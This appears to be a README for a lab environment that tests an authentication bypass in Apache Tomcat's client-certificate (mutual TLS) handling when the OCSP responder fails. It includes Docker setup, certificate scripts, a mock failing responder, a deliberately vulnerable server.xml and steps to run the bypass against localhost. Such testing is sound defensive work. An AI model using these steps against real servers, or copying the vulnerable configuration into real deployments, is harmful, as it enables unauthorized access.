CVE-2026-29145 Testing Environment

📌 Overview

This repository contains a proof-of-concept (PoC) environment designed to test for CVE-2026-29145.

The vulnerability is an authentication bypass in Apache Tomcat's Mutual TLS (CLIENT_CERT) implementation. When OCSP (Online Certificate Status Protocol) is configured with soft-fail disabled, Tomcat may fail to treat an OCSP check failure as a hard denial. This allows a client with a potentially revoked or unverified certificate to bypass authentication if the OCSP responder is unreachable or returns an error.

🛡️ Vulnerability Details

Property	Value
CVE ID	CVE-2026-29145
CVSS Score	9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector	Network
Privileges Required	None
Impact	Authentication Bypass

Prerequisites for Vulnerability

• ✓ CLIENT_CERT authentication enabled in Tomcat
• ✓ OCSP revocation checking enabled
• ✓ Soft-fail option disabled (hard-fail mode)
• ✓ Unreachable or failing OCSP responder

---

🚀 Getting Started

Prerequisites

• Docker & Docker Compose: To run the vulnerable Tomcat container
• OpenSSL: To generate the PKI (Public Key Infrastructure) - usually pre-installed on Linux/macOS
• Python 3.7+: To run the testing script and mock responder
• curl (optional): For manual testing
• PowerShell (Windows only): If using the .ps1 scripts

1. Automated Full Test Cycle (Recommended)

The run_test.sh script automates the entire process: cleanup, certificate generation, and running all test scenarios (vulnerable, success, and patched).

# Navigate to the project directory
cd CVE-2026-29145-Tester

# Make scripts executable
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Install Python dependencies (if poc_exploit.py requires them)
pip install -r requirements.txt

# Run the full test suite
./run_test.sh

2. Generate certificates

On Linux/macOS:

./setup_certs.sh

On Windows (PowerShell):

.\setup_certs.ps1

What this does:

• Creates a Root CA (Certificate Authority)
• Generates server certificate for Tomcat
• Generates client certificate with OCSP extension pointing to http://localhost:8888
• Validates all certificates were created successfully

Expected output:

[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!

3. Start the vulnerable environment

docker-compose up -d

What this does:

• Starts the OCSP Mock Responder on port 8888 (simulates failure with HTTP 500)
• Starts vulnerable Tomcat 10.1.52 on port 8443 with CLIENT_CERT authentication
• Creates internal Docker network for service communication
• Sets up health checks for both services

Verify containers are running:

docker-compose ps

4. Run the exploitation test

python poc_exploit.py

Expected outputs:

Vulnerable System:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...

Patched System:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).

---

🧪 Testing Scenarios

Scenario	OCSP Status	Expected (Patched)	Result (Vulnerable)	Notes
Normal Operation	Online & Valid	200 OK ✓	200 OK ✓	OCSP check succeeds, access granted
Soft Failure	Offline/Timeout	403 Forbidden ✓	200 OK ✗	BYPASS - OCSP responder unreachable
Hard Revocation	Online & Revoked	403 Forbidden ✓	403 Forbidden ✓	Certificate explicitly revoked
Invalid Certificate	Invalid Chain	403 Forbidden ✓	403 Forbidden ✓	Chain validation fails

Running Different Test Scenarios

Test 1: Default (OCSP Responder Failing)

# Keep containers running
python poc_exploit.py

Test 2: Stop OCSP Responder (Simulate Timeout)

docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Test 3: Manual Testing with curl

curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

---

🛠️ Project Structure

CVE-2026-29145-Tester/
├── README.md                    # This file
├── setup_certs.sh              # Certificate generation script - Bash (Linux/macOS)
├── setup_certs.ps1             # Certificate generation script - PowerShell (Windows)
├── cleanup.sh                  # Cleanup and reset script - Bash (Linux/macOS)
├── cleanup.ps1                 # Cleanup and reset script - PowerShell (Windows)
├── run_test.sh                 # Automated full test cycle script
├── docker-compose.yml          # Docker service orchestration
├── requirements.txt            # Python dependencies
├── poc_exploit.py              # Main testing script (with logging and error handling)
├── simple_proxy_fail.py        # Mock OCSP responder (with detailed logging)
├── .gitignore                  # Git ignore rules for certificates and logs
├── certs/                      # Generated certificates (created by setup_certs scripts)
│   ├── ca-chain.pem           # Root CA certificate
│   ├── ca-key.pem             # Root CA private key
│   ├── server-cert.pem        # Tomcat server certificate
│   ├── server-key.pem         # Tomcat server private key
│   ├── client-cert.pem        # Test client certificate
│   └── client-key.pem         # Test client private key
├── tomcat/
│   └── server.xml             # Vulnerable Tomcat configuration
└── logs/                       # Tomcat logs (created at runtime)

---

📋 Configuration Details

Server.xml Configuration (Vulnerable)

The tomcat/server.xml file configures:

<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Key Settings:

• certificateVerification="required" - Enforces CLIENT_CERT authentication
• OCSP on - Enables OCSP revocation checking
• No soft-fail override - Uses hard-fail mode (vulnerable)

OCSP Responder Configuration

The mock OCSP responder (simple_proxy_fail.py):

• Listens on localhost:8888
• Always returns HTTP 500 (Server Error)
• Logs all incoming OCSP requests
• Simulates an unreachable/failing OCSP service

---

🔧 Troubleshooting

Common Issues & Solutions

❌ Error: "OpenSSL is not installed"

# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Error: "Missing certificate files"

Cause: Certificate generation failed or was not run.

# Clean up and regenerate
rm -rf certs
./setup_certs.sh

❌ Error: "Connection refused" on port 8443

Cause: Tomcat container is not running or not ready.

# Check container status
docker-compose ps

# Check logs
docker-compose logs vulnerable-tomcat

# Ensure both services are running and healthy
docker-compose up -d
sleep 10  # Wait for services to start

❌ Error: "Connection timeout"

Cause: Tomcat taking too long to start or network issues.

# Check Tomcat startup logs
docker-compose logs vulnerable-tomcat

# Increase timeout and retry
timeout 30 docker-compose logs -f vulnerable-tomcat  # Monitor startup